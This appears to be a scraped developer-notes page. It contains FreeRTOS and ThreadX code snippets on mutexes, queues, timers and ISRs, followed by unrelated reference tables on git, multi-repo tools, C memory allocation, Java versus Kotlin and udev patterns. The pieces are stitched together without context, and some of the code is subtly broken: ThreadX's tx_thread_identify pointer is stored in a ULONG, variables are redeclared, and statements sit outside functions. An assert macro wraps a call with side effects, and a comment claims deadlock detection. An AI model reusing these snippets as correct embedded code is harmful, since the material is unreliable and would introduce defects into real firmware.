// Problem: Low priority task holds mutex, high priority task blocks
// Solution: Use mutexes (not binary semaphores) for priority inheritance

// BAD: Using binary semaphore for mutual exclusion
SemaphoreHandle_t xBadLock = xSemaphoreCreateBinary();
xSemaphoreGive(xBadLock);  // Initialize

// GOOD: Using mutex with priority inheritance
SemaphoreHandle_t xGoodLock = xSemaphoreCreateMutex();

// Enable stack overflow detection
#define configCHECK_FOR_STACK_OVERFLOW 2

// Implement hook
void vApplicationStackOverflowHook(TaskHandle_t xTask, char *pcTaskName) {
    // Log error and halt
    printf("Stack overflow in task: %s\n", pcTaskName);
    for(;;);
}

// Problem: Circular wait for resources
// Solution: Always acquire mutexes in same order

SemaphoreHandle_t xMutexA, xMutexB;

void vSafeTask1(void *pvParameters) {
    // Always acquire A then B
    xSemaphoreTake(xMutexA, portMAX_DELAY);
    xSemaphoreTake(xMutexB, portMAX_DELAY);

    // Critical section

    xSemaphoreGive(xMutexB);
    xSemaphoreGive(xMutexA);
}

void vSafeTask2(void *pvParameters) {
    // Always acquire A then B (same order)
    xSemaphoreTake(xMutexA, portMAX_DELAY);
    xSemaphoreTake(xMutexB, portMAX_DELAY);

    // Critical section

    xSemaphoreGive(xMutexB);
    xSemaphoreGive(xMutexA);
}

// WRONG: Calling non-ISR function from ISR
void vBadISR(void) {
    xQueueSend(xQueue, &data, 0);  // DON'T DO THIS
}

// CORRECT: Use FromISR variant
void vGoodISR(void) {
    BaseType_t xHigherPriorityTaskWoken = pdFALSE;
    xQueueSendFromISR(xQueue, &data, &xHigherPriorityTaskWoken);
    portYIELD_FROM_ISR(xHigherPriorityTaskWoken);
}

#define configUSE_TRACE_FACILITY 1

// Task switched in
void vApplicationTaskSwitchedInHook(void) {
    TaskHandle_t xHandle = xTaskGetCurrentTaskHandle();
    char *pcTaskName = pcTaskGetName(xHandle);
    printf("Switched to: %s\n", pcTaskName);
}

// Tick hook (called every tick)
void vApplicationTickHook(void) {
    // Lightweight monitoring only
}

// Idle hook (called by idle task)
void vApplicationIdleHook(void) {
    // Background processing, watchdog feeding
}

// Define assert macro
#define configASSERT(x) \
    if(!(x)) { \
        printf("Assert failed: %s:%d\n", __FILE__, __LINE__); \
        taskDISABLE_INTERRUPTS(); \
        for(;;); \
    }

// Use in code
configASSERT(xQueue != NULL);
configASSERT(xSemaphoreTake(xMutex, portMAX_DELAY) == pdTRUE);

// Monitor multiple queues
QueueSetHandle_t xQueueSet = xQueueCreateSet(20);

xQueueAddToSet(xQueue1, xQueueSet);
xQueueAddToSet(xQueue2, xQueueSet);

QueueSetMemberHandle_t xActivatedMember;
xActivatedMember = xQueueSelectFromSet(xQueueSet, portMAX_DELAY);

if(xActivatedMember == xQueue1) {
    // Data available on queue 1
} else if(xActivatedMember == xQueue2) {
    // Data available on queue 2
}

#include "FreeRTOS.h"
#include "task.h"
#include "queue.h"
#include "semphr.h"
#include "timers.h"

// Shared resources
QueueHandle_t xSensorQueue;
SemaphoreHandle_t xDisplayMutex;
TimerHandle_t xWatchdogTimer;

typedef struct {
    uint8_t sensor_id;
    float temperature;
    float humidity;
} SensorReading_t;

// Sensor reading task (high priority)
void vSensorTask(void *pvParameters) {
    SensorReading_t reading;
    TickType_t xLastWakeTime = xTaskGetTickCount();

    for(;;) {
        // Read sensors
        reading.sensor_id = 1;
        reading.temperature = read_temperature();
        reading.humidity = read_humidity();

        // Send to processing queue
        if(xQueueSend(xSensorQueue, &reading, 0) != pdPASS) {
            // Queue full, log error
        }

        // Periodic execution every 500ms
        vTaskDelayUntil(&xLastWakeTime, pdMS_TO_TICKS(500));
    }
}

// Data processing task (medium priority)
void vProcessingTask(void *pvParameters) {
    SensorReading_t reading;

    for(;;) {
        // Wait for sensor data
        if(xQueueReceive(xSensorQueue, &reading, portMAX_DELAY) == pdPASS) {
            // Process data
            if(reading.temperature > 30.0f) {
                activate_cooling();
            }

            // Update display (mutex protected)
            if(xSemaphoreTake(xDisplayMutex, pdMS_TO_TICKS(100)) == pdTRUE) {
                update_display(reading.temperature, reading.humidity);
                xSemaphoreGive(xDisplayMutex);
            }
        }
    }
}

// Communication task (medium priority)
void vCommTask(void *pvParameters) {
    char txBuffer[64];

    for(;;) {
        // Wait for command from UART
        if(uart_data_available()) {
            process_command();
        }

        // Periodic status transmission
        snprintf(txBuffer, sizeof(txBuffer), "Status: OK\n");
        uart_send(txBuffer, strlen(txBuffer));

        vTaskDelay(pdMS_TO_TICKS(1000));
    }
}

// Watchdog timer callback
void vWatchdogCallback(TimerHandle_t xTimer) {
    feed_hardware_watchdog();
}

// Idle hook for power management
void vApplicationIdleHook(void) {
    enter_low_power_mode();
}

// Stack overflow hook
void vApplicationStackOverflowHook(TaskHandle_t xTask, char *pcTaskName) {
    printf("Stack overflow: %s\n", pcTaskName);
    for(;;);
}

// Main application
int main(void) {
    // Hardware initialization
    hardware_init();

    // Create synchronization primitives
    xSensorQueue = xQueueCreate(10, sizeof(SensorReading_t));
    xDisplayMutex = xSemaphoreCreateMutex();

    // Create watchdog timer (auto-reload, 1000ms)
    xWatchdogTimer = xTimerCreate(
        "Watchdog",
        pdMS_TO_TICKS(1000),
        pdTRUE,
        NULL,
        vWatchdogCallback
    );

    // Create tasks
    xTaskCreate(vSensorTask, "Sensor", 256, NULL, 3, NULL);
    xTaskCreate(vProcessingTask, "Process", 256, NULL, 2, NULL);
    xTaskCreate(vCommTask, "Comm", 256, NULL, 2, NULL);

    // Start watchdog timer
    xTimerStart(xWatchdogTimer, 0);

    // Start scheduler
    vTaskStartScheduler();

    // Should never reach here
    for(;;);

    return 0;
}

// Reduce RAM usage
#define configMINIMAL_STACK_SIZE          64   // Tune per task
#define configTOTAL_HEAP_SIZE             4096 // Based on actual needs
#define configMAX_PRIORITIES              4    // Only what's needed

// Use static allocation for predictability
#define configSUPPORT_STATIC_ALLOCATION   1
#define configSUPPORT_DYNAMIC_ALLOCATION  0

// Monitor CPU usage
void vCPUUtilization(void) {
    TaskStatus_t *pxTaskStatusArray;
    UBaseType_t uxArraySize, x;
    uint32_t ulTotalRunTime, ulStatsAsPercentage;

    uxArraySize = uxTaskGetNumberOfTasks();
    pxTaskStatusArray = pvPortMalloc(uxArraySize * sizeof(TaskStatus_t));

    if(pxTaskStatusArray != NULL) {
        uxArraySize = uxTaskGetSystemState(pxTaskStatusArray,
                                           uxArraySize,
                                           &ulTotalRunTime);

        for(x = 0; x < uxArraySize; x++) {
            ulStatsAsPercentage = pxTaskStatusArray[x].ulRunTimeCounter /
                                  (ulTotalRunTime / 100);

            printf("%s\t\t%u%%\n",
                   pxTaskStatusArray[x].pcTaskName,
                   ulStatsAsPercentage);
        }

        vPortFree(pxTaskStatusArray);
    }
}

#include "tx_api.h"

TX_THREAD my_thread;
UCHAR thread_stack[1024];

void my_thread_entry(ULONG thread_input) {
    UINT status;

    while(1) {
        // Thread logic
        tx_thread_sleep(100);  // Sleep 100 ticks
    }
}

void tx_application_define(void *first_unused_memory) {
    UINT status = tx_thread_create(
        &my_thread,              // Thread control block
        "My Thread",             // Name
        my_thread_entry,         // Entry function
        0x1234,                  // Input parameter
        thread_stack,            // Stack start
        sizeof(thread_stack),    // Stack size
        16,                      // Priority (0-31, 0 highest)
        16,                      // Preemption threshold
        TX_NO_TIME_SLICE,        // Time slice (disabled)
        TX_AUTO_START            // Auto start
    );

    if (status != TX_SUCCESS) {
        // Handle error
    }
}

// Suspend and resume
tx_thread_suspend(&my_thread);
tx_thread_resume(&my_thread);

// Priority management
tx_thread_priority_change(&my_thread, 10, &old_priority);

// Preemption threshold (prevents priority inversion)
tx_thread_preemption_change(&my_thread, 5, &old_threshold);

// Time slicing
tx_thread_time_slice_change(&my_thread, 10, &old_time_slice);

// Terminate and delete
tx_thread_terminate(&my_thread);
tx_thread_delete(&my_thread);

// Relinquish CPU to other threads at same priority
tx_thread_relinquish();

TX_QUEUE my_queue;
UCHAR queue_area[100 * sizeof(ULONG)];

// Create queue (supports 1-16 ULONGs per message)
tx_queue_create(
    &my_queue,
    "My Queue",
    TX_1_ULONG,              // Message size (TX_1_ULONG to TX_16_ULONG)
    queue_area,
    sizeof(queue_area)
);

// Send message (to back of queue)
ULONG message[4] = {0x12345678, 0xABCDEF00, 0x11111111, 0x22222222};
tx_queue_send(&my_queue, message, TX_WAIT_FOREVER);

// Send to front (priority message)
tx_queue_front_send(&my_queue, message, TX_NO_WAIT);

// Receive message
ULONG received[4];
tx_queue_receive(&my_queue, received, TX_WAIT_FOREVER);

// Query queue information
ULONG enqueued, available;
TX_THREAD *first_suspended;
tx_queue_info_get(&my_queue, TX_NULL, &enqueued,
                  &available, &first_suspended, TX_NULL, TX_NULL);

// Flush all messages
tx_queue_flush(&my_queue);

// Delete queue
tx_queue_delete(&my_queue);

TX_SEMAPHORE my_semaphore;

// Create counting semaphore (initial count = 3)
tx_semaphore_create(&my_semaphore, "My Semaphore", 3);

// Get semaphore (decrements count)
UINT status = tx_semaphore_get(&my_semaphore, TX_WAIT_FOREVER);

if (status == TX_SUCCESS) {
    // Access shared resource
}

// Put semaphore (increments count)
tx_semaphore_put(&my_semaphore);

// Prioritized put (wakes highest priority thread)
tx_semaphore_prioritize(&my_semaphore);

// Ceiling put (sets maximum count)
tx_semaphore_ceiling_put(&my_semaphore, 10);

// Delete semaphore
tx_semaphore_delete(&my_semaphore);

TX_SEMAPHORE binary_sem;

// Binary semaphore: initial count = 0
tx_semaphore_create(&binary_sem, "Binary Sem", 0);

// Signal (producer)
tx_semaphore_put(&binary_sem);

// Wait (consumer)
tx_semaphore_get(&binary_sem, TX_WAIT_FOREVER);

TX_MUTEX my_mutex;

// Create mutex with priority inheritance
tx_mutex_create(&my_mutex, "My Mutex", TX_INHERIT);

// Alternatives:
// TX_NO_INHERIT - no priority inheritance
// TX_INHERIT - priority inheritance enabled

// Get mutex (with deadlock detection)
UINT status = tx_mutex_get(&my_mutex, TX_WAIT_FOREVER);

if (status == TX_SUCCESS) {
    // Critical section - access shared resource

    // Release mutex
    tx_mutex_put(&my_mutex);
}

// Priority inheritance prevents priority inversion
// Lower priority thread inherits priority of waiting higher priority thread

// ThreadX mutexes support recursive locking
tx_mutex_get(&my_mutex, TX_WAIT_FOREVER);
tx_mutex_get(&my_mutex, TX_WAIT_FOREVER);  // Same thread, succeeds

// Must release same number of times
tx_mutex_put(&my_mutex);
tx_mutex_put(&my_mutex);

TX_EVENT_FLAGS_GROUP my_events;

// Create event flags group (32 flags per group)
tx_event_flags_create(&my_events, "My Events");

// Set event flags (OR operation)
#define EVENT_FLAG_1    0x00000001
#define EVENT_FLAG_2    0x00000002
#define EVENT_FLAG_3    0x00000004

tx_event_flags_set(&my_events, EVENT_FLAG_1 | EVENT_FLAG_2, TX_OR);

// Clear event flags (AND operation)
tx_event_flags_set(&my_events, ~EVENT_FLAG_1, TX_AND);

// Wait for event flags - AND condition (all flags must be set)
ULONG actual_flags;
tx_event_flags_get(
    &my_events,
    EVENT_FLAG_1 | EVENT_FLAG_2,    // Requested flags
    TX_AND,                          // Wait for ALL flags
    &actual_flags,                   // Actual flags returned
    TX_WAIT_FOREVER
);

// Wait for event flags - OR condition (any flag can be set)
tx_event_flags_get(
    &my_events,
    EVENT_FLAG_1 | EVENT_FLAG_2,    // Requested flags
    TX_OR,                           // Wait for ANY flag
    &actual_flags,
    100                              // Timeout in ticks
);

// Clear flags after getting them
tx_event_flags_get(
    &my_events,
    EVENT_FLAG_1,
    TX_OR_CLEAR,                     // Clear after getting
    &actual_flags,
    TX_WAIT_FOREVER
);

// Delete event flags group
tx_event_flags_delete(&my_events);

TX_BLOCK_POOL my_pool;
UCHAR pool_area[10000];

// Create block pool (64-byte blocks)
tx_block_pool_create(
    &my_pool,
    "My Block Pool",
    64,                      // Block size
    pool_area,
    sizeof(pool_area)
);

// Allocate block
VOID *block_ptr;
UINT status = tx_block_allocate(&my_pool, &block_ptr, TX_WAIT_FOREVER);

if (status == TX_SUCCESS) {
    // Use block

    // Release block
    tx_block_release(block_ptr);
}

// Query pool information
ULONG available_blocks, total_blocks;
tx_block_pool_info_get(&my_pool, TX_NULL, &available_blocks,
                       &total_blocks, TX_NULL, TX_NULL, TX_NULL);

// Delete pool
tx_block_pool_delete(&my_pool);

TX_BYTE_POOL my_byte_pool;
UCHAR pool_area[10000];

// Create byte pool
tx_byte_pool_create(
    &my_byte_pool,
    "My Byte Pool",
    pool_area,
    sizeof(pool_area)
);

// Allocate memory
VOID *memory_ptr;
tx_byte_allocate(&my_byte_pool, &memory_ptr, 256, TX_WAIT_FOREVER);

// Use memory
if (memory_ptr != TX_NULL) {
    // Release memory
    tx_byte_release(memory_ptr);
}

// Prioritize suspended threads
tx_byte_pool_prioritize(&my_byte_pool);

// Delete pool
tx_byte_pool_delete(&my_byte_pool);

TX_TIMER my_timer;

void timer_expiration_function(ULONG timer_input) {
    // Timer expired - this runs in timer thread context
    // Keep this function short and non-blocking
}

// Create one-shot timer
tx_timer_create(
    &my_timer,
    "My Timer",
    timer_expiration_function,
    0x1234,                  // Input to expiration function
    100,                     // Initial ticks (delay before first expiration)
    0,                       // Reschedule ticks (0 = one-shot)
    TX_NO_ACTIVATE           // Don't activate yet
);

// Create periodic timer
tx_timer_create(
    &my_timer,
    "Periodic Timer",
    timer_expiration_function,
    0,
    100,                     // Initial ticks
    100,                     // Reschedule ticks (periodic)
    TX_AUTO_ACTIVATE         // Activate immediately
);

// Activate timer
tx_timer_activate(&my_timer);

// Deactivate timer
tx_timer_deactivate(&my_timer);

// Change timer settings
tx_timer_change(&my_timer, 200, 200);  // New initial and reschedule ticks

// Delete timer
tx_timer_delete(&my_timer);

void my_isr(void) {
    // Notify ThreadX we're in ISR context
    // (Some ports do this automatically)

    // ISR processing - keep minimal

    // Wake up thread using semaphore
    tx_semaphore_put(&my_isr_semaphore);

    // Or set event flag
    tx_event_flags_set(&my_events, ISR_EVENT, TX_OR);
}

// Deferred processing thread
void isr_processing_thread(ULONG input) {
    while(1) {
        // Wait for ISR signal
        tx_semaphore_get(&my_isr_semaphore, TX_WAIT_FOREVER);

        // Do time-consuming processing here
        // (not in ISR context)
    }
}

// ThreadX automatically handles nested interrupts
// Save/restore is handled by context switching mechanism

// Disable interrupts when needed
TX_INTERRUPT_SAVE_AREA
TX_DISABLE  // Save interrupt state and disable

// Critical section code

TX_RESTORE  // Restore previous interrupt state

// Get current time (ticks since system start)
ULONG current_time = tx_time_get();

// Set current time
tx_time_set(1000);

// Sleep for specific ticks
tx_thread_sleep(100);

// Configure system timer
// Timer tick usually occurs every 10ms (100Hz)
// Configured in tx_initialize_low_level.s or similar

// Get ThreadX version
ULONG version = tx_kernel_version_get();
// Returns format: 0x06010000 for version 6.1

// Get system state
TX_THREAD *thread;
ULONG state = tx_thread_identify();  // Returns current thread

// Performance information
ULONG resumptions, suspensions, solicited_preemptions;
ULONG interrupt_preemptions, priority_inversions, time_slices;
ULONG relinquishes, timeouts, waits;

tx_thread_performance_info_get(
    &my_thread,
    &resumptions,
    &suspensions,
    &solicited_preemptions,
    &interrupt_preemptions,
    &priority_inversions,
    &time_slices,
    &relinquishes,
    &timeouts,
    &waits,
    TX_NULL
);

// Priority = 10, Preemption Threshold = 5
// Thread runs at priority 10, but can only be preempted by priorities 0-4
tx_thread_create(&my_thread, "Thread", entry_func, 0,
                 stack, 1024,
                 10,                    // Priority
                 5,                     // Preemption threshold
                 TX_NO_TIME_SLICE, TX_AUTO_START);

// Create mutex with priority inheritance
tx_mutex_create(&my_mutex, "Mutex", TX_INHERIT);

// Low priority thread gets mutex
// High priority thread waits
// Low priority thread inherits high priority temporarily

// Common return values
TX_SUCCESS              // Successful completion
TX_DELETED              // Object was deleted
TX_POOL_ERROR          // Invalid memory pool
TX_PTR_ERROR           // Invalid pointer
TX_WAIT_ERROR          // Invalid wait option
TX_SIZE_ERROR          // Invalid size
TX_GROUP_ERROR         // Invalid group pointer
TX_NO_EVENTS           // No events satisfied request
TX_OPTION_ERROR        // Invalid option
TX_QUEUE_ERROR         // Invalid queue pointer
TX_QUEUE_EMPTY         // Queue is empty
TX_QUEUE_FULL          // Queue is full
TX_SEMAPHORE_ERROR     // Invalid semaphore pointer
TX_NO_INSTANCE         // No instance available
TX_THREAD_ERROR        // Invalid thread pointer
TX_PRIORITY_ERROR      // Invalid priority
TX_START_ERROR         // Invalid auto-start
TX_DELETE_ERROR        // Thread not terminated
TX_RESUME_ERROR        // Thread not suspended
TX_CALLER_ERROR        // Invalid caller
TX_SUSPEND_ERROR       // Thread already suspended
TX_TIMER_ERROR         // Invalid timer pointer
TX_TICK_ERROR          // Invalid tick value
TX_ACTIVATE_ERROR      // Timer already active
TX_THRESH_ERROR        // Invalid preemption threshold
TX_SUSPEND_LIFTED      // Delayed suspension lifted
TX_WAIT_ABORTED        // Wait aborted
TX_MUTEX_ERROR         // Invalid mutex pointer
TX_NOT_AVAILABLE       // Service not available
TX_NOT_OWNED           // Mutex not owned
TX_INHERIT_ERROR       // Invalid priority inheritance
TX_NOT_DONE            // Service not completed

UINT status = tx_queue_send(&my_queue, &message, 100);

switch(status) {
    case TX_SUCCESS:
        // Message sent successfully
        break;
    case TX_QUEUE_FULL:
        // Queue full, handle overflow
        break;
    case TX_WAIT_ABORTED:
        // Wait was aborted by another thread
        break;
    case TX_QUEUE_ERROR:
        // Invalid queue pointer
        break;
    default:
        // Unexpected error
        break;
}

// Maximum priority levels (default 32)
#define TX_MAX_PRIORITIES               32

// Minimum stack size
#define TX_MINIMUM_STACK               200

// Enable stack checking
#define TX_ENABLE_STACK_CHECKING

// Disable time-slice
#define TX_DISABLE_TIME_SLICE

// Timer thread priority
#define TX_TIMER_THREAD_PRIORITY        0

// Timer thread stack size
#define TX_TIMER_THREAD_STACK_SIZE   1024

// Enable event trace
#define TX_ENABLE_EVENT_TRACE

// Disable error checking (for production)
#define TX_DISABLE_ERROR_CHECKING

// Inline ThreadX services for performance
#define TX_INLINE_THREAD_RESUME_SUSPEND

Command	Description
`git init`	Initialize repository
`git clone`	Clone repository
`git remote`	Manage remotes
`git fetch`	Fetch from remote
`git pull`	Fetch and merge
`git push`	Push to remote
`git submodule`	Manage submodules
`git subtree`	Manage subtrees
`git worktree`	Manage worktrees
`git gc`	Garbage collection
`git fsck`	Verify repository
`git bundle`	Create repository bundle
`git filter-repo`	Rewrite history

Aspect	Git	Repo
Scope	Single repository	Multiple repositories
Level	Low-level VCS	High-level orchestration
Replaces Git?	N/A	No, built on top of Git
Best for	Single project	Large multi-repo projects

Tool	Use Case
Git Submodules	Include specific versions of external repos
Git Subtree	Merge external repos into subdirectories
mu-repo	Simple multi-repo command runner
gr	Auto-discovery multi-repo tool
mani	Modern multi-repo CLI
myrepos (mr)	Flexible multi-VCS tool

Function	Initialization	Returns NULL on Fail	Use Case
malloc	No (garbage values)	Yes	When you’ll initialize manually
calloc	Yes (all zeros)	Yes	When you need zeroed memory
realloc	Preserves existing	Yes	When resizing allocations

Feature	Java	Kotlin
Variable	`String name = "Alice";`	`val name = "Alice"`
Mutable	`String name = "Alice";`	`var name = "Alice"`
Nullable	`String name = null;`	`var name: String? = null`
String template	`"Hello " + name`	`"Hello $name"`
Ternary	`x > 0 ? 1 : 0`	`if (x > 0) 1 else 0`
Switch	`switch(x) {...}`	`when(x) {...}`
Static	`static void foo()`	`companion object { fun foo() }`
Singleton	`enum` or manual	`object Singleton`
Data class	Lombok or manual	`data class User(...)`
Lambda	`(x, y) -> x + y`	`{ x, y -> x + y }`
Extension	Not available	`fun String.ext() {...}`
Null check	`if (x != null) x.length()`	`x?.length`
Smart cast	Manual cast needed	Automatic after null check

Pattern	Expands To	Example Value
`%k`, `$kernel`	Kernel device name	`sda`
`%n`, `$number`	Kernel number	`1`
`%p`, `$devpath`	Device path	`/devices/pci...`
`%M`, `$major`	Major number	`8`
`%m`, `$minor`	Minor number	`0`
`$attr{file}`	Sysfs attribute	varies
`$env{key}`	Environment variable	varies
`$devnode`	Device node path	`/dev/sda`
`$result`	PROGRAM output	varies
`%%`	Literal `%`	`%`
`$$`	Literal `$`	`$`

Keyboard shortcuts

My Notes